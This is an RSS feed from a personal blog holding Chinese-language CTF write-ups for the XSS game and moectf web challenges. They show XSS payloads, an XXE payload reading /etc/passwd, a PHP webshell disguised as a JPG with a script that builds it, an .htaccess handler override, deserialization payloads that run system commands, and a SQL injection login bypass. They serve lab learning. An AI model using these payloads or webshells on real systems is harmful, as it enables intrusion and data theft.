<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Iridescent&apos;s blog</title><description>Stay hungry, stay foolish</description><link>https://iris-escent.github.io</link><item><title>XSS-GAME wp</title><link>https://iris-escent.github.io/blog/xss-game/xss-game%E9%9D%B6%E5%9C%BAwp</link><guid isPermaLink="true">https://iris-escent.github.io/blog/xss-game/xss-game%E9%9D%B6%E5%9C%BAwp</guid><pubDate>Mon, 06 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;靶场：&lt;a href=&quot;https://xss-game.appspot.com/&quot;&gt;XSS game&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;level 1&lt;/h3&gt;
&lt;p&gt;1.输入框，随便输入测试页面对用户输入的处理
&lt;img src=&quot;./photos/image-20260406141904653.png&quot; alt=&quot;image-20260406141904653&quot;&gt;&lt;/p&gt;
&lt;p&gt;2.发现 完全没有任何处理和转义，页面直接输出我们的代码--即反射型xss&lt;/p&gt;
&lt;p&gt;3.输入payload，成功。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;script&gt;alert(1)&amp;#x3C;/script&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;补充笔记：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;反射型 XSS(Reflected XSS)：直接拼接”进最终生成的网页结构（HTML）里返回给浏览器。用户输入什么，页面直接输出什么。&lt;/li&gt;
&lt;li&gt;alert()：javascript里能弹出弹窗的指令，html中用&lt;code&gt;&amp;#x3C;script&gt;&lt;/code&gt;用来包裹js代码 ，执行。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;level2&lt;/h3&gt;
&lt;p&gt;1.留言/输入显示出来，需要html里的innerHTML属性，&lt;code&gt;innerHTML&lt;/code&gt; 会禁止&lt;code&gt;&amp;#x3C;script&gt;&lt;/code&gt; 标签的被执行，因此没办法直接使用
&lt;img src=&quot;./photos/image-20260406142501829.png&quot; alt=&quot;image-20260406142501829&quot;&gt;&lt;/p&gt;
&lt;p&gt;2.看输入对应的源码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;function displayPosts() {
        var containerEl = document.getElementById(&quot;post-container&quot;);
        containerEl.innerHTML = &quot;&quot;;

        var posts = DB.getPosts();
        for (var i=0; i&amp;#x3C;posts.length; i++) {
          var html = &apos;&amp;#x3C;table class=&quot;message&quot;&gt; &amp;#x3C;tr&gt; &amp;#x3C;td valign=top&gt; &apos;
            + &apos;&amp;#x3C;img src=&quot;/static/level2_icon.png&quot;&gt; &amp;#x3C;/td&gt; &amp;#x3C;td valign=top &apos;
            + &apos; class=&quot;message-container&quot;&gt; &amp;#x3C;div class=&quot;shim&quot;&gt;&amp;#x3C;/div&gt;&apos;;

          html += &apos;&amp;#x3C;b&gt;You&amp;#x3C;/b&gt;&apos;;
          html += &apos;&amp;#x3C;span class=&quot;date&quot;&gt;&apos; + new Date(posts[i].date) + &apos;&amp;#x3C;/span&gt;&apos;;
          html += &quot;&amp;#x3C;blockquote&gt;&quot; + posts[i].message + &quot;&amp;#x3C;/blockquote&quot;;
          html += &quot;&amp;#x3C;/td&gt;&amp;#x3C;/tr&gt;&amp;#x3C;/table&gt;&quot;
          containerEl.innerHTML += html; 
        }
      }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3.html变量里的内容都会经过innerHTML被解析成html代码,我们在此利用&lt;code&gt;&amp;#x3C;img&gt;&lt;/code&gt; 标签的错误事件处理onerror--即无法找到图片地址时会自动触发&lt;code&gt;onerror&lt;/code&gt; 事件，执行js代码。&lt;/p&gt;
&lt;p&gt;4.payload:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;img src=&quot;x&quot; onerror=&apos;alert(1)&apos;&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;level3&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Sometimes this fact is hidden by higher-level APIs which use one of these functions under the hood. 正如你在上一关看到的，一些常见的 JS 函数 是&lt;em&gt;执行汇&lt;/em&gt; ，这意味着它们会导致 浏览器中出现的任何脚本。 有时这一事实会被更高级的 API 隐藏， 在底层使用这些功能之一。The application on this level is using one such hidden sink.  这一层的应用就是使用这样一个隐藏的汇流。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;类型：DOM-based XSS&lt;/p&gt;
&lt;p&gt;点击图片，发现url里#参数跟随发生变化，找到注入点；看源码；&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = &quot;Image &quot; + parseInt(num) + &quot;&amp;#x3C;br&gt;&quot;;
        html += &quot;&amp;#x3C;img src=&apos;/static/level3/cloud&quot; + num + &quot;.jpg&apos; /&gt;&quot;;
        $(&apos;#tabContent&apos;).html(html);

        window.location.hash = num;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接拼接出的字符串作为html代码转化，沿用上一题的思路，用img标签下的onerror错误处理；&lt;/p&gt;
&lt;p&gt;payload:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;img src=&apos;/static/level3/cloud&quot; + num + &quot;.jpg&apos; /&gt;
111&apos; onerror=&apos;alert(1)&apos;
&quot;&amp;#x3C;img src=&apos;/static/level3/cloud#111&apos; onerror=alert(1)+ &quot;.jpg&apos; /&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;level 4&lt;/h3&gt;
&lt;p&gt;找到注入点&lt;code&gt;timer&lt;/code&gt; ,&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;img src=&quot;/static/loading.gif&quot; onload=&quot;startTimer(&apos;{{ timer }}&apos;);&quot; /&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;payload:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;img src=&quot;/static/loading.gif&quot; onload=&quot;startTimer(&apos;{{ timer }}&apos;);&quot; /&gt;
{{ timer }} --&gt;3&apos;);alert(&apos;1   // &apos;); 闭合单引号
&amp;#x3C;img src=&quot;/static/loading.gif&quot; onload=&quot;startTimer(&apos;3&apos;);alert(&apos;1&apos;);&quot; /&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;补充笔记：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;onload属性会被当作js代码执行。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;level 5&lt;/h3&gt;
&lt;p&gt;1.看源码,输入的email会被直接忽略，直接执行到next的超链接，&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;body id=&quot;level5&quot;&gt;
    &amp;#x3C;img src=&quot;/static/logos/level5.png&quot; /&gt;&amp;#x3C;br&gt;&amp;#x3C;br&gt;
    &amp;#x3C;!-- We&apos;re ignoring the email, but the poor user will never know! --&gt;
    Enter email: &amp;#x3C;input id=&quot;reader-email&quot; name=&quot;email&quot; value=&quot;&quot;&gt;

    &amp;#x3C;br&gt;&amp;#x3C;br&gt;
    &amp;#x3C;a href=&quot;{{ next }}&quot;&gt;Next &gt;&gt;&amp;#x3C;/a&gt;
  &amp;#x3C;/body&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.get输入next参数，在这里注入。&lt;code&gt;href&lt;/code&gt; 支持&lt;code&gt;javascript:&lt;/code&gt; 伪协议 ,构payload,成功。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://……/signup?next=javascript:alert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;补充笔记：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;a href= &quot;https://aaa.com&quot;&gt;aaa&amp;#x3C;/a&gt;;  //href 为超链接的地址
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;交互式xss，需要用户点击超链接。&lt;/p&gt;
&lt;h3&gt;level 6&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;window.location.hash.substr(1)&lt;/code&gt;  提取url输入，注入在这里。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;// Take the value after # and use it as the gadget filename.
    function getGadgetName() { 
      return window.location.hash.substr(1) || &quot;/static/gadget.js&quot;;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;url 会被放到src 做文件地址，有正则匹配。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;function includeGadget(url) {
      var scriptEl = document.createElement(&apos;script&apos;);
      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById(&quot;log&quot;),
          &quot;Sorry, cannot load a URL containing \&quot;http\&quot;.&quot;);
        return;
      }
      // Load this awesome gadget
      scriptEl.src = url;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;绕过方法，考虑 data:text 伪协议。构payload:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;https://……/frame#data:text/javascript,alert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;补充笔记：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;html里，src是文件路径&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;if (url.match(/^https?:\/\//)) &lt;/code&gt; 正则表达式，看&lt;code&gt;^https?://&lt;/code&gt;，^从第一个字符开始，？前的字符出现次数无规定0-fff,\ / 是/。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;url=https://example.com#example &lt;/code&gt;下&lt;code&gt;location.hash&lt;/code&gt;
返回#example，所以常和.substr(1)配合使用截除#，保留后面的部分。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260406151808952.png&quot; alt=&quot;image-20260406151808952&quot;&gt;&lt;/p&gt;
&lt;p&gt;通关！&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;学习笔记：https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>moectf web 复现</title><link>https://iris-escent.github.io/blog/moectf-wp/moectf-web-%E5%A4%8D%E7%8E%B0</link><guid isPermaLink="true">https://iris-escent.github.io/blog/moectf-wp/moectf-web-%E5%A4%8D%E7%8E%B0</guid><pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;web05 打上门来&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;# 目录穿越/遍历漏洞 &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260309000939608.png&quot; alt=&quot;image-20260309000939608&quot;&gt;
&lt;img src=&quot;./photos/image-20260309000943936.png&quot; alt=&quot;image-20260309000943936&quot;&gt;
学习笔记：https://blog.csdn.net/angry_program/article/details/107855078&lt;/p&gt;
&lt;h3&gt;web 10 天机符阵&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;# XXE注入漏洞&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260309000949706.png&quot; alt=&quot;image-20260309000949706&quot;&gt;
外部实体引用：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-XML&quot;&gt;&amp;#x3C;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;   
&amp;#x3C;!DOCTYPE note [    //note 根元素名称
  &amp;#x3C;!ENTITY test SYSTEM &quot;file:///etc/passwd&quot;&gt;  //定义外部实体变量test;
]&gt;
&amp;#x3C;note&gt;&amp;#x26;test;&amp;#x3C;/note&gt;    //实体引用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;学习笔记：https://sh1yan.top/2018/09/15/xxe-study/&lt;/p&gt;
&lt;h3&gt;web 12 玉魄玄关·破妄&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260309000958825.png&quot; alt=&quot;image-20260309000958825&quot;&gt;
一句话木马，连接蚁剑，没有发现flag文件，打开虚拟终端，查看环境变量
&lt;img src=&quot;./photos/image-20260309001004151.png&quot; alt=&quot;image-20260309001004151&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AntSword虚拟终端是一个基于Web的交互式命令行界面，能够模拟本地终端的所有功能。可以直接在浏览器中执行系统命令、查看文件目录。同时支持win和linux系统。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;蚁剑食用指南：https://www.jianshu.com/p/a89ad062c017&lt;/p&gt;
&lt;h3&gt;web 16 昆仑星途&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;# 文件包含漏洞 + data://伪协议&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;php://filter/read=convert.base64-encode/resource=&amp;#x3C;文件名&gt;：
用来读取文件源码，因为Include会把内容当成php文件执行(也叫解析)，如果那个文件里面没有echo之类的输出的话执行后看不到任何东西，所以直接base64编码，让include识别不到，以此直接输出文件源码。&lt;/li&gt;
&lt;li&gt;data:// 伪协议直接在get里写入内容，不是用post写入；&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;文件包含漏洞学习笔记:https://www.cnblogs.com/chu-jian/p/17481660.html
php伪协议学习笔记：https://www.cnblogs.com/endust/p/11804767.html
文件包含+伪协议例题讲解：https://blog.csdn.net/uuzeray/article/details/134300552&lt;/p&gt;
&lt;h3&gt;Moe笑传之猜猜爆&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;# JS代码审阅&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一个简单的...猜数字小游戏？猜错了是不会爆炸的！
注意：本题跟爆破没有任何关系！！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260308233859691.png&quot; alt=&quot;image-20260308233859691&quot;&gt;
审计代码，可以直接请求&lt;code&gt;/flag&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;知识积累：
fetch(&apos;/flag&apos;, {method: &apos;POST&apos;}) 
1.fetch() js代码里用于发送http请求的函数
2.&apos;/flag&apos;，目标url路径
3.method，请求方式
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;web 04 金曦破禁与七绝傀儡阵&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;省流：http请求有很多讲究！试试吧！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260308233507418.png&quot; alt=&quot;image-20260308233507418&quot;&gt;&lt;/p&gt;
&lt;p&gt;关键：在Headers中添加&lt;code&gt;X-Forwarded-For: 127.0.0.1&lt;/code&gt;，伪装请求来源为本地
&lt;img src=&quot;./photos/image-20260308233645470.png&quot; alt=&quot;image-20260308233645470&quot;&gt;
修改&lt;code&gt;user-agent&lt;/code&gt;请求头
&lt;img src=&quot;./photos/image-20260308233708057.png&quot; alt=&quot;image-20260308233708057&quot;&gt;
改成题目要求&lt;code&gt;moe browser&lt;/code&gt;
&lt;img src=&quot;./photos/image-20260308233723574.png&quot; alt=&quot;image-20260308233723574&quot;&gt;
成功，前往第五关。
&lt;img src=&quot;./photos/image-20260308233748377.png&quot; alt=&quot;image-20260308233748377&quot;&gt;
考察身份认证，添加cookie头 &lt;code&gt;cookie:user=xt&lt;/code&gt;
&lt;img src=&quot;./photos/image-20260308233754657.png&quot; alt=&quot;image-20260308233754657&quot;&gt;
第六关，考察页面来源。
&lt;img src=&quot;./photos/image-20260308233801482.png&quot; alt=&quot;image-20260308233801482&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Referer Referer 请求头包含了当前请求⻚⾯的来源⻚⾯的地址，即表⽰当前⻚⾯是通过此来源⻚⾯⾥的链接进 ⼊的。服务端⼀般使⽤ Referer 请求头识别访问来源，可能会以此进⾏统计分析、⽇志记录以及缓存优 化等。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260308233813141.png&quot; alt=&quot;image-20260308233813141&quot;&gt;
第七关，Put传递请求体
如果要发送请求体的话，content-type都需要设置&lt;/p&gt;
&lt;h3&gt;web 06&apos;  藏经禁制？玄机初探！&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;# sql注入&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;先假设服务器后端编写了这样的不安全的 PHP 代码来完成登录&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$sql = &quot;SELECT * FROM users WHERE username=&apos;$username&apos; AND password=&apos;$password&apos;&quot;;
$result = $conn-&gt;query($sql);
if ($result-&gt;num_rows &gt; 0) {
    // 登录成功
} else {
    // 不成功
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;由于后端选择直接拼接我们的输入和 sql命令，所以我们可以通过构造闭合来绕过这条检验。
最终构造：username=-1’ or ‘1’=‘1’#
-1’ 使前面的单引号闭合，or ‘1’=‘1’ 使 条件永远成立，#注释掉后面的全部指令，最终结果就是后端错误地返回了全部用户，我们成功绕过登录。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;web 07 灵蛛探穴与阴阳双生符&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;# 爬虫文件+MD5碰撞&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;省流：有这样一个文件，它是一个存放在网站根目录下的纯文本文件，用于告知搜索引擎&lt;strong&gt;爬虫&lt;/strong&gt;哪些页面可以抓取，哪些页面不应被抓取。它是网站与搜索引擎之间的 “协议”，帮助网站管理爬虫的访问行为，保护隐私内容、节省服务器资源或引导爬虫优先抓取重要页面。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;根据题目，得出为&lt;code&gt;robot.txt&lt;/code&gt; 文件，打开得到一段php代码
&lt;img src=&quot;./photos/image-20260308234029654.png&quot; alt=&quot;image-20260308234029654&quot;&gt;
a,b两个字符值不相等 但 md5值相同，从常见0e开头的md5碰撞表中选择两个即可。
https://hello-ctf.com/hc-web/php_basic/#md5-0e&lt;/p&gt;
&lt;h3&gt;web 09 星墟禁制·天机问路&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260308234042520.png&quot; alt=&quot;image-20260308234042520&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;现在我们知道了，后端会拿我们的输入去丢给 dig 之类的命令行工具，但是由于配置了坏掉的 DNS，我们没有办法获得正常的查询结果。由于我们没有办法获得正常的查询结果，就排除了构造参数 URL 来获得信息的方法，猜测后端直接拼接了用户输入和指令，我们尝试注入，使用&lt;code&gt;;&lt;/code&gt;隔断前一条命令。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;web 13&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;# 图片马&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260308234054462.png&quot; alt=&quot;image-20260308234054462&quot;&gt;
在一句话木马前面写入十六进制的要求文件头，由于没有限制文件后缀，因此可以直接创建并上传php文件。使用py脚本完成php文件创建。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 创建带有 JPG 文件头的 PHP 木马
# JPG 文件头（十六进制）
jpg_header = bytes. fromhex(&apos;FFD8FF&apos;) 

# PHP 一句话木马
php_code = b&apos;&amp;#x3C;?php @eval($_POST[&quot;cmd&quot;]); ?&gt;&apos;

# 合并
shell_content = jpg_header + php_code

# 写入文件
with open(&apos;shell.php&apos;, &apos;wb&apos;) as f:
    f.write(shell_content)
#print(&quot;[+] shell.jpg 创建成功！&quot;)
#print(f&quot;[+] 文件大小: {len(shell_content)} 字节&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260308234103658.png&quot; alt=&quot;image-20260308234103658&quot;&gt;
post传参实现任意php命令执行。&lt;/p&gt;
&lt;h3&gt;web 17&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;# php反序列化&lt;/code&gt;
&lt;img src=&quot;./photos/image-20260308234915635.png&quot; alt=&quot;image-20260308234915635&quot;&gt;
destruct()会在反序列化时被调用；通过eval()可以将字符串作为php代码执行来进行命令操控；&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;?php
class A {
    public $a;
    function __destruct() {
        eval($this-&gt;a);
    }
}

$ob=new A();
$ob-&gt;a=&quot;system(&apos;cat /flag&apos;);&quot;;  //注意eval()中放的字符串命令写法，双引号，加system(&apos;&apos;)里执行系统命令,最后加分号

echo urlencode(serialize($ob));
?&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;web 10 天机符阵_revenge&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;# XXE注入&lt;/code&gt;
&lt;img src=&quot;./photos/image-20260308234956663.png&quot; alt=&quot;image-20260308234956663&quot;&gt;
和上道题目一摸一样。&lt;/p&gt;
&lt;h3&gt;web 14 御神关·补天玉碑&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;# .htaccess文件上传+图片马&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;省流：Apache有一个特殊文件，是什么呢？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260308235019545.png&quot; alt=&quot;image-20260308235019545&quot;&gt;
Apache中的配置文件&lt;code&gt;.htaccess&lt;/code&gt; 可被人为修改实现功能重写，所以我们重写&lt;code&gt;.htaccess&lt;/code&gt; 文件，让它更改服务器识别我们上传的图片马的逻辑，即把jpg文件可以识别成php文件。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-xml&quot;&gt;&amp;#x3C;FilesMatch &quot;\.(jpg|jpeg)$&quot;&gt;
    SetHandler application/x-httpd-php
&amp;#x3C;/FilesMatch&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上述代码就是这个功能，所有的jpg或jpeg文件可以被识别成php文件。
再上传我们写入一句话木马的图片马。图片马的制作方法有很多种，可以用notepad++直接在文末添加，或者用cmd指令合并一个图片和一个php文件。
&lt;img src=&quot;./photos/image-20260308235045091.png&quot; alt=&quot;image-20260308235045091&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;copy 1.jpg/b+2.php/a 3.jpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传文件，连接蚁剑，Post传参作为密码。打开虚拟终端，&lt;code&gt;$ env&lt;/code&gt; 查看环境变量，flag一般会藏在这里面。
&lt;img src=&quot;./photos/image-20260308235056500.png&quot; alt=&quot;image-20260308235056500&quot;&gt;
&lt;img src=&quot;./photos/image-20260308235052125.png&quot; alt=&quot;image-20260308235052125&quot;&gt;&lt;/p&gt;
&lt;p&gt;【学习笔记】制作简单图片马的4种方法：https://www.cnblogs.com/1ink/p/15101706.html&lt;/p&gt;
&lt;h3&gt;web 18 万卷诡阁·功法连环&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;# php反序列化&lt;/code&gt;
题目源码：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt; &amp;#x3C;?php

highlight_file(__FILE__);
class PersonA {
    private $name;
    function __wakeup() {
        $name=$this-&gt;name;
        $name-&gt;work();
    }
}

class PersonB {
    public $name;
    function work(){
        $name=$this-&gt;name;
        eval($name);
    }
}

if(isset($_GET[&apos;person&apos;])) {
    unserialize($_GET[&apos;person&apos;]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主要是里面&lt;code&gt;private&lt;/code&gt; 变量的赋值方法。这里采取：构建Payload时先把&lt;code&gt;private&lt;/code&gt; 改成&lt;code&gt;public&lt;/code&gt; 属性，得出poc链，再将&lt;code&gt;name&lt;/code&gt; 属性改回&lt;code&gt;private&lt;/code&gt; ,注意格式，语法格式很重要，分号要写，&lt;code&gt;urlencode()&lt;/code&gt; 函数里放字符串变量，\0 算一个字节。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;O:7:&quot;PersonA&quot;:1:{s:4:&quot;name&quot;;O:7:&quot;PersonB&quot;:1:{s:4:&quot;name&quot;;s:20:&quot;system(&apos;cat /flag&apos;);&quot;;}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于private变量，需要在类名和字段名前面都会加上\0的前缀,要放到url里可以直接改成%00。
注意，改Url编码是不会改变字节长度的。//比如name值经过了Url编码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;O:7:&quot;PersonA&quot;:1:{s:13:&quot;%00PersonA%00name&quot;;O:7:&quot;PersonB&quot;:1:{s:4:&quot;name&quot;;s:20:&quot;system%28%27cat+%2Fflag%27%29%3B&quot;;}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下面这种提示就是poc里字节长度不匹配了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;**Notice**: unserialize(): Error at offset 87 of 89 bytes in **/app/index.php** on line **22**
 来之不易。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常用魔术方法积累：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;__construct()    //用于在创建对象时自动触发当使用 new 关键字实例化一个类时，会自动调用该类的 __construct() 方法
__destruct()     //__destruct() 用于在对象被销毁时自动触发对象的销毁对象的引用计数减少为零来触发
__sleep()        //序列化serialize() 函数会检查类中是否存在一个魔术方法sleep()。如果存在，该方法会先被调用，然后才执行序列化操作。此功能可以用于清理对象，并返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup()       //用于在反序列化对象时自动调用unserialize() 会检查是否存在一个 wakeup() 方法，如果存在，则会先调用wakeup()方法
__tostring()     //__tostring() 在对象被当做字符串处理时自动调用比如echo、==、preg_match()
__invoke()       //__invoke() 在对象被当做函数处理时自动调用
__call()         //__call($method, $args) 在调用一个不存在的方法时触发, $args是数组的形式
__callStatic()   //__callStatic() 在静态调用或调用成员常量时使用的方法不存在时触发
__set()          //__set() 在给不存在的成员属性赋值时触发
__isset()        //__isset() 在对不可访问属性使用 isset() 或empty() 时会被触发
__unset()        //__unset() 在对不可访问属性使用 unset() 时会被触发
__clone()        //__clone() 当使用 clone 关键字拷贝完成一个对象后就会触发
__get()          //__get() 当尝试访问不可访问属性时会被自动调用
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;摸金偶遇FLAG，拼尽全力难战胜&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;# JS 代码审阅&lt;/code&gt;
数据包 Session&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photos/image-20260309000352681.png&quot; alt=&quot;image-20260309000352681&quot;&gt;
先阅读页面源代码查看获得flag的方式，搜索flag字样。
&lt;img src=&quot;./photos/image-20260309000347385.png&quot; alt=&quot;image-20260309000347385&quot;&gt;
post向前端请求&lt;code&gt;answers&lt;/code&gt; 和&lt;code&gt;token&lt;/code&gt; 两个数据，如果数据正确，返回flag。&lt;code&gt;realCode&lt;/code&gt; 存储用户输入的数组。
&lt;img src=&quot;./photos/image-20260309000342398.png&quot; alt=&quot;image-20260309000342398&quot;&gt;
那继续查找(realCode,myToken)这两个变量，发现get输入长度&lt;code&gt;length&lt;/code&gt; 启动游戏时，把后端已经写好&lt;code&gt;data.numbers&lt;/code&gt; 正确答案(已经存在的变量),并把&lt;code&gt;token&lt;/code&gt; 传给了前端的&lt;code&gt;myToken&lt;/code&gt; ,
&lt;img src=&quot;./photos/image-20260309000334743.png&quot; alt=&quot;image-20260309000334743&quot;&gt;
然后比较数据是否相同，相同则返回flag.
编写脚本。注意保持在一个 Session 中进行两个请求。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import requests
s=requests.Session()
# session即两次请求携带相同cookie,在服务器眼里属于“同一次连接/同一位用户
challenge=s.get(&apos;http://127.0.0.1:61965//get_challenge?count=9&apos;).json() # respon.json()
print(challenge)  #可以打印看有哪些键值
result=s.post(&apos;http://127.0.0.1:61965/verify&apos;,json={
    &quot;token&quot;:challenge[&apos;token&apos;],
    &quot;answers&quot;:challenge[&apos;numbers&apos;]
})
print(result.text)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;真不容易。&lt;/p&gt;
&lt;p&gt;学习笔记：
&lt;img src=&quot;./photos/image-20260309000256853.png&quot; alt=&quot;image-20260309000256853&quot;&gt;&lt;/p&gt;
&lt;h3&gt;web 03 问剑石！篡天改命!&lt;/h3&gt;
&lt;p&gt;再来一次。。。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;省流：仙门试炼台中央矗立着玄天剑宗至宝&quot;问剑石&quot;，石身流转着七彩霞光。你作为新晋弟子需测试天赋，但暗中知晓问剑石运作的玄机——其天赋判定实则通过金曦玄轨传递信息。初始测试将显示天赋：B，光芒：无，你需要施展&quot;篡天改命&quot;之术，修改玄轨中的关键参数，使问剑石显现天赋：S，光芒：流云状青芒(flowing_azure_clouds)的异象，从而获得宗门重视！&lt;/p&gt;
&lt;/blockquote&gt;
